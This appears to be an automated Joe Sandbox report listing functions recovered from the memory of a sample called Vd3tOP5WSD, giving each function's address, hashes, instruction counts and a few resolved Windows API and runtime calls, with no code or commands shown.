API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d368bac3811ff53457a2cb311bf3a0af827fa309b1fb3d430375599c5b749556
Instruction ID: 38b515b7f72974ceae35ad14b5d1b5734979197e027db9f936f34616e0ae1bee
Opcode Fuzzy Hash: d368bac3811ff53457a2cb311bf3a0af827fa309b1fb3d430375599c5b749556
Instruction Fuzzy Hash: F8C1EE749807068FCB29CF68C69066EBBA9AF65300F64CA1BD4969B391C730EC46DB51

Function 009AFB7D Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,00001000,00001000), ref: 009AFBEB

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: QueryVirtual
String ID:
API String ID: 1804819252-0
Opcode ID: adbb045383f3aff83bbbc2894185f14245fc57792bcce1406522dec350c50953
Instruction ID: 2e3bc0f0337f1e2c3ced293ab5254feaf5b29681275de39b3a1d80ea9cf73156
Opcode Fuzzy Hash: adbb045383f3aff83bbbc2894185f14245fc57792bcce1406522dec350c50953
Instruction Fuzzy Hash: C5114E335002214BC720CF88DDD496A73BEFB8972876502A9DD455B601D276EC87C7F0

Function 009B4D8B Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNEL32(?), ref: 009B4DF7

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: 91d73e85b2a2822530c45d3b6883030419f9aca911568a6b6bc4a0346bb9264a
Instruction ID: b73e23e0e8b8b414f3f11a2c5ced8d15544015d4d3c8cf491935e350a570f089
Opcode Fuzzy Hash: 91d73e85b2a2822530c45d3b6883030419f9aca911568a6b6bc4a0346bb9264a
Instruction Fuzzy Hash: A2115EB1900B84CFD721CF699845B9AFBF4FB49710F04C62AE4A997740D3786805CFA1

Function 009CD0F0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0043CFB3,009CCB6A), ref: 009CD0F5

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f735817a0b308c0274c4987da6a64f0c13ab2f4be108d509050ca7eb575e1a57
Instruction ID: 47f33e16290772828d48e2fc5bbc638760d2d50ec684603df376a2e6b4d14c41
Opcode Fuzzy Hash: f735817a0b308c0274c4987da6a64f0c13ab2f4be108d509050ca7eb575e1a57
Instruction Fuzzy Hash:

Function 009AE957 Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

U, xrefs: 009AECAA

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 8bc74e86ad7892e45763c7c2175561076085692adc4a2a21e1bd7b970ee0b1f8
Instruction ID: 0d675ff7410f22f3d9e9afb32190a7906ceb0de6330b7329be1caaddc96b2322
Opcode Fuzzy Hash: 8bc74e86ad7892e45763c7c2175561076085692adc4a2a21e1bd7b970ee0b1f8
Instruction Fuzzy Hash: E091957150C3419BCB649F18858563EBAE4ABC7750F254E2FE0CACB262D234C985DBDB

Function 009A2920 Relevance: .8, Instructions: 751COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c69a6815894f7947a6a0542994c29682853ba558057bf9cd49837bbb9556ffd7
Instruction ID: c753867edf48d3e5965b28b1b78801415d0ecbbbe617b7956048262f68b94357
Opcode Fuzzy Hash: c69a6815894f7947a6a0542994c29682853ba558057bf9cd49837bbb9556ffd7
Instruction Fuzzy Hash: 03628D316087418FC715DF29C080A6AB7F1FF9A314F148A6DE4CA9B752DB35E946CB82

Function 009BC341 Relevance: .6, Instructions: 552COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4bec0ca96d7979bb9874ea500f13f7931d97d16c0c4a5bc8c4a6a2c06eb0bd8
Instruction ID: a5f65482a5a6bdc8cfac8a3ee8f358c074d36ec644d5204c04ebee266a5f92fc
Opcode Fuzzy Hash: c4bec0ca96d7979bb9874ea500f13f7931d97d16c0c4a5bc8c4a6a2c06eb0bd8
Instruction Fuzzy Hash: 6A122BF1D0011A9BDF18DBA88B435FE7AB5AB50330F684927E415FA2A0E735DA4487D3

Function 009AD450 Relevance: .5, Instructions: 492COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caaf1d4bcde0c24294baec86a5e2eb3cea651728695487e10075cc7e93abdcfa
Instruction ID: de4a7cefa638c849c32ff0c9146ec88b5f9f6bcad213a0827c357d666511faff
Opcode Fuzzy Hash: caaf1d4bcde0c24294baec86a5e2eb3cea651728695487e10075cc7e93abdcfa
Instruction Fuzzy Hash: 2E128AB050A7408FC324DF28C48166ABBE2FF96314F244E2DE5D787B91E735A845CB86

Function 009A22B4 Relevance: .5, Instructions: 486COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4347f92868beb88931f2b4e7c9455e4ea7ed9a5ca3bc03ba5e233bd612ff6f32
Instruction ID: 08ceaeac2543c844c00f3496089758436cf2ad741f02bd7987780f04f7abf984
Opcode Fuzzy Hash: 4347f92868beb88931f2b4e7c9455e4ea7ed9a5ca3bc03ba5e233bd612ff6f32
Instruction Fuzzy Hash: 2A125675A083069FC714CF2DC48066AFBE1FF89304F148A2EE89987351EB74E955CB82

Function 00995540 Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7c5bfcb74d64b106436c267bea2b2e9854b0246cc83a94d6d7658a636303708
Instruction ID: 2930fbb3d8d4adb26223a77b9c7a7de54d6f1df644bfc458c2f7299680daa731
Opcode Fuzzy Hash: b7c5bfcb74d64b106436c267bea2b2e9854b0246cc83a94d6d7658a636303708
Instruction Fuzzy Hash: AA02E6F1D00A0A8BDF258F9CDC816BFB775EB14310F26492AE515EA3A1E3748E458B53

Function 0099DBFB Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03cdce923c9e675f9e5ebb5a0dbb8409354af7752ec9be4cef3cf10354fd476d
Instruction ID: 7095b430b5555abe6e637f700f90b2afabf83e4d5c6bf371457c0f06f4928db5
Opcode Fuzzy Hash: 03cdce923c9e675f9e5ebb5a0dbb8409354af7752ec9be4cef3cf10354fd476d
Instruction Fuzzy Hash: 0BF159B1E051098BDF28DF9CC8D25BEB6B9AB96310F24492BE115EB3D0E7B4C940C752

Function 009A33D4 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a42bc64a940a600b8496d0c65c55bde3d6951ff459c01317b1fbe73de1d0a5d
Instruction ID: 97755ff60957ecb2ac3d78085dd4ccd93a648d5510d3599ec3271e3d359ceb40
Opcode Fuzzy Hash: 9a42bc64a940a600b8496d0c65c55bde3d6951ff459c01317b1fbe73de1d0a5d
Instruction Fuzzy Hash: 600231B0514B118FC378CF29C68052ABBF1BF46710B948A2DE6A78BB90D736F944CB54

Function 009C908F Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 268e8702608a6b90ebe5f704738b9a629cec0ea57dbf574d3ec40b0b1ed608f4
Instruction ID: 18014c872d66b5f23f85c75c72ed5d956f0da97c01c7052365c146de1c7e2e3f
Opcode Fuzzy Hash: 268e8702608a6b90ebe5f704738b9a629cec0ea57dbf574d3ec40b0b1ed608f4
Instruction Fuzzy Hash: B5E1F475D1110A8BCF24DFA8D889FBD7A74AB44314F24092FE51AEB3D1D3358A508B93

Function 009AE2EA Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe52bac06ce16e9f08cb5d1657a55b984f032921874ae6b4bfe86344577606a7
Instruction ID: 0c42279d040cb4a1fa4a521dc36be854838027a6c60e11cb701c5d77307db757
Opcode Fuzzy Hash: fe52bac06ce16e9f08cb5d1657a55b984f032921874ae6b4bfe86344577606a7
Instruction Fuzzy Hash: B2E1EE75A083168FCB14CF18C4D066AB3E2FB9A714F59892DE9C58B391D639EC468B81

Function 009B9CC2 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 404008158dafff43aec7ad6a46d065142d89c1995864d67ae93c323eefc80fdb
Instruction ID: 9b527a10df1b56064895c2681d965af113e425cc417d3f2fa05074580e3d5bf1
Opcode Fuzzy Hash: 404008158dafff43aec7ad6a46d065142d89c1995864d67ae93c323eefc80fdb
Instruction Fuzzy Hash: C981B0726083154FD308CF59C85235AFBD6ABC8310F4AC53EE9999B3A1E6B8DC058BC5

Function 009BF4DF Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8cd4802bb5dde251916ee4563a48a6af48aeae2953e1db2d908d410a145637
Instruction ID: 1da37b23021959b7bbdf5661f1b1be8cdaa061499ec6c4fc630b2343f3eee6bd
Opcode Fuzzy Hash: 4a8cd4802bb5dde251916ee4563a48a6af48aeae2953e1db2d908d410a145637
Instruction Fuzzy Hash: 6D7115B2E001495ADF24459C8EB9AFE26AAA790330F3549B7E00DDB2B0E77DCD419752

Function 009B4853 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8976ad82445888a3523337de21bd725d268fd77f590c92d331c08a3a482d989a
Instruction ID: 10493efa173c038ce5247128cd121f15ec77c574e68aa3e489b461203ee79423
Opcode Fuzzy Hash: 8976ad82445888a3523337de21bd725d268fd77f590c92d331c08a3a482d989a
Instruction Fuzzy Hash: CC71D471908395CBCB288F5987816ADBAE4ABC4720F254D2FE585DF352D238CC85EB47

Function 009B9997 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54117711b5b6f3e3548b285e01c7f3ff021aa8cd1369d00f9261af8dca8f2be9
Instruction ID: 8c5d2800daa3e9726acfba40f565d1bac66af8e64e3e2a4614fcf3c1b943bc03
Opcode Fuzzy Hash: 54117711b5b6f3e3548b285e01c7f3ff021aa8cd1369d00f9261af8dca8f2be9
Instruction Fuzzy Hash: 84512633B006164FC34CEA7C8D9216AF6D6ABC8250B46CA3ED44EDB391F970DA128681

Function 009D93C2 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f960195895d4523939b019740813820171c81770d6ce1acbb507da4b7e7694f
Instruction ID: 2fa5996fdc747a8211e39d3ade4e6934107c197fe4c4c2e18ea857b7b3353703
Opcode Fuzzy Hash: 1f960195895d4523939b019740813820171c81770d6ce1acbb507da4b7e7694f
Instruction Fuzzy Hash: 61518071E00259AFDF15DF99C981AAEBBB6EF88314F19C06DE805AB341C7349E51CB90

Function 009B2152 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66d74e5b20d9c384740991f0b87e692f2e80e905805bc9109d63d683fad776b8
Instruction ID: 1bf70ce55f15bac77ff7739cf76156b0277663944343cece16c418fb177cfd32
Opcode Fuzzy Hash: 66d74e5b20d9c384740991f0b87e692f2e80e905805bc9109d63d683fad776b8
Instruction Fuzzy Hash: 68515631E0821ACBCF658B5C8A806EDBBB8EB15731F654E27E615F7690C238DD84C752

Function 009B9ADA Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768c1d889d3b0b4dd139f02215e342ea367a32b8572c76f95433df72e755d40e
Instruction ID: de9ed496828060945def11e817e7598d09d079133ac2fb2d8aa5c02de47949ab
Opcode Fuzzy Hash: 768c1d889d3b0b4dd139f02215e342ea367a32b8572c76f95433df72e755d40e
Instruction Fuzzy Hash: C551CE317080610FD39CE63D8967439BAE69BC9144B49CA7EE0DBCB692E875CA23C751

Function 009B4BFC Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1198482aff7cf87abae675dc4aebd9c7a23bf1f0da962c71c2e9c71d85cd782
Instruction ID: 90afbff8b227f10852c6ba9500d52ce1beaefb32f95f49cf1945f7cb533c650d
Opcode Fuzzy Hash: f1198482aff7cf87abae675dc4aebd9c7a23bf1f0da962c71c2e9c71d85cd782
Instruction Fuzzy Hash: D841C0B25017049FD720DF15CE80BA6B7E8FF84724F1A8528ED8987766E734F890CA95

Function 009CDB37 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 5cec3fdcb0f7ad7248cd654406fc0301a628365af5a8d6cf3c1d2e3e67252cec
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: E31108B7A0318243A6148A2DD8B4FB7E39DEAC5331B2F467ED0418B658D222ED44D602

Function 009B2A7E Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 667bd2f19aee6fa7d81c4cb481a3f51af8e19f63dc029046603eb54790070f8a
Instruction ID: ddd64d175838b84a2913698df646aeb53803cdc0fa852135122372258e70ecfb
Opcode Fuzzy Hash: 667bd2f19aee6fa7d81c4cb481a3f51af8e19f63dc029046603eb54790070f8a
Instruction Fuzzy Hash: 611191B26002486FD304AF69CD85F67FAECEB88364F058179FD089B313D635ED148A61

Function 009B6CA9 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66ff2f2a13dd8e2f3e7900633aa22c2d0bddf0cea2b0e0fcf3d4903cf0c1afe8
Instruction ID: 206722fa505040e1a375028c3d9dc225e4bf817585225838ae574e482737c9d3
Opcode Fuzzy Hash: 66ff2f2a13dd8e2f3e7900633aa22c2d0bddf0cea2b0e0fcf3d4903cf0c1afe8
Instruction Fuzzy Hash: 2C217F71A0021A8FCB24CF58C990BAAB7B5FF85728F68855CC8455B382D739FC42CB91

Function 00A38FFB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3920154401.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A38000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a38000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 1ae51dea881ef4217d641d8f1b9dea47dfa99a0d979e67f37eac7a6dfe343755
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 51112A72340100AFDB58DF55DC91FA773AAEB89360B298065E909CB356D6B6E841CB60

Function 009A047F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0cbf25b4c85234f202655fa8cc2e504dfd54c569fa544efbece1cc302c4c175
Instruction ID: 6f48b074c48d23598abafedd234a974fd491e4a774c1cb071c1f5f5c015a6ef2
Opcode Fuzzy Hash: c0cbf25b4c85234f202655fa8cc2e504dfd54c569fa544efbece1cc302c4c175
Instruction Fuzzy Hash: 3511A977A182B107D715CF769CE012AF7A2ABC732270F4375EE81EB252C120EC1986E5

Function 00990D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 20449515b471976cf505e7bcb2a80cd31bbea7e4a143e498953b162d80f6334e
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 1401D676A006048FDF21CFA8C804BAA33F9FBC6316F4944B5D91ADB281E774A941CF90

Function 009BA15E Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d0ec938ce4093d67a2cf61a3cc3f8e03a2e4f7c65607b08f985ba338c785d5
Instruction ID: 8155e30d7324677229f6719365bc4abb5285ab124924269bb5d815f2ea84d363
Opcode Fuzzy Hash: d6d0ec938ce4093d67a2cf61a3cc3f8e03a2e4f7c65607b08f985ba338c785d5
Instruction Fuzzy Hash: DDE01A35A006849ED7028F25D994B407BA1E714B10F448069E400D7A79F3B46C80CF4B

Function 009D3BFF Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction ID: 83a8c1bef34e8d0ec7e92b9e6996aa7ee6f07f6bb6c7f505a541c9aeb87c715c
Opcode Fuzzy Hash: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction Fuzzy Hash: 43C08C380909804ACE39893082723A43369A3D1783F8C848ECC438B786C61E9DC2E602

Function 009B6C4B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46244e68fc71b8cbf41339a9e21dde89906441e25df86e8e15a46fb3bb963b5
Instruction ID: 30d6a56a56b12a395d7ff791b47855085cb38f022cae8e32c46adfbfa56ecdc7
Opcode Fuzzy Hash: d46244e68fc71b8cbf41339a9e21dde89906441e25df86e8e15a46fb3bb963b5
Instruction Fuzzy Hash: 14D08031255540AFC745DB44CE40F00B7E0EB88733F254340B430673F1C720E901CA01

Function 009BF4CC Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb50997bff8f6b42dea5567a3e80c24e84f9fd98b00b9a5e01fe7e8c8691b55
Instruction ID: c0944383d73aac26117361346b053748916b56d97ab65fadc12e4df891c8d7e9
Opcode Fuzzy Hash: adb50997bff8f6b42dea5567a3e80c24e84f9fd98b00b9a5e01fe7e8c8691b55
Instruction Fuzzy Hash: 7AB00279661540CFCA55CF08C198E00F3F4FB48760B068491EC05CB722C234ED41CA10

Function 009E9C06 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 009E9D25
CatchIt.LIBVCRUNTIME ref: 009E9E84
_UnwindNestedFrames.LIBCMT ref: 009E9F85
CallUnexpected.LIBVCRUNTIME ref: 009E9FA0

Strings

csm, xrefs: 009E9C43
csm, xrefs: 009E9D5C
csm, xrefs: 009E9CB0

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2332921423-393685449
Opcode ID: 4d4d2abbed9b856c4e49574ec055b924c190fec3ea5a9e19aedb67fed442bc91
Instruction ID: 454f0016bc1105cf60f3ed01c67eaa321d83dfee95c0e34d0d5bf86bc1dbfbc8
Opcode Fuzzy Hash: 4d4d2abbed9b856c4e49574ec055b924c190fec3ea5a9e19aedb67fed442bc91
Instruction Fuzzy Hash: 73B1BC71800249EFCF26DFA6C881AAEBBB9FF54310F14445AF815AB252D731EE51CB91

Function 009C297F Relevance: 10.7, APIs: 7, Instructions: 234COMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000D62), ref: 009C2AFB
DeleteDC.GDI32(00000002), ref: 009C2D68
DeleteObject.GDI32(?), ref: 009C2D71

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Delete$CompatibleCreateObject
String ID:
API String ID: 1022343127-0
Opcode ID: e95f5015060c6103ea10429a1b77e37f05786f833e418949151545d05b0bc3b2
Instruction ID: a98b7e267933f8cc8d9881da52f9bea788e1c691de4e789b3e3ffa777ca03b50
Opcode Fuzzy Hash: e95f5015060c6103ea10429a1b77e37f05786f833e418949151545d05b0bc3b2
Instruction Fuzzy Hash: 10811AB1C0420A9BDF209F948DC5F7E7B74EB1A320F24091EE515EA3A1D3758E409B67

Function 009E2C05 Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fe71bcdd1bbb702f49a54012c45d7b8d444f282691c212cc4cbc8a317458075
Instruction ID: 889add2efb84559f50f0350deaacced1bd291bfe9df5fc9060910b3263bb9132
Opcode Fuzzy Hash: 9fe71bcdd1bbb702f49a54012c45d7b8d444f282691c212cc4cbc8a317458075
Instruction Fuzzy Hash: F9B11774A442C9AFDB12DF9AC880BBD7BBDBF89310F148159E405AB391DB709D42CB61

Function 009D59C6 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 009D5B59
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009D5B75
__allrem.LIBCMT ref: 009D5B8C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009D5BAA
__allrem.LIBCMT ref: 009D5BC1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009D5BDF

Memory Dump Source

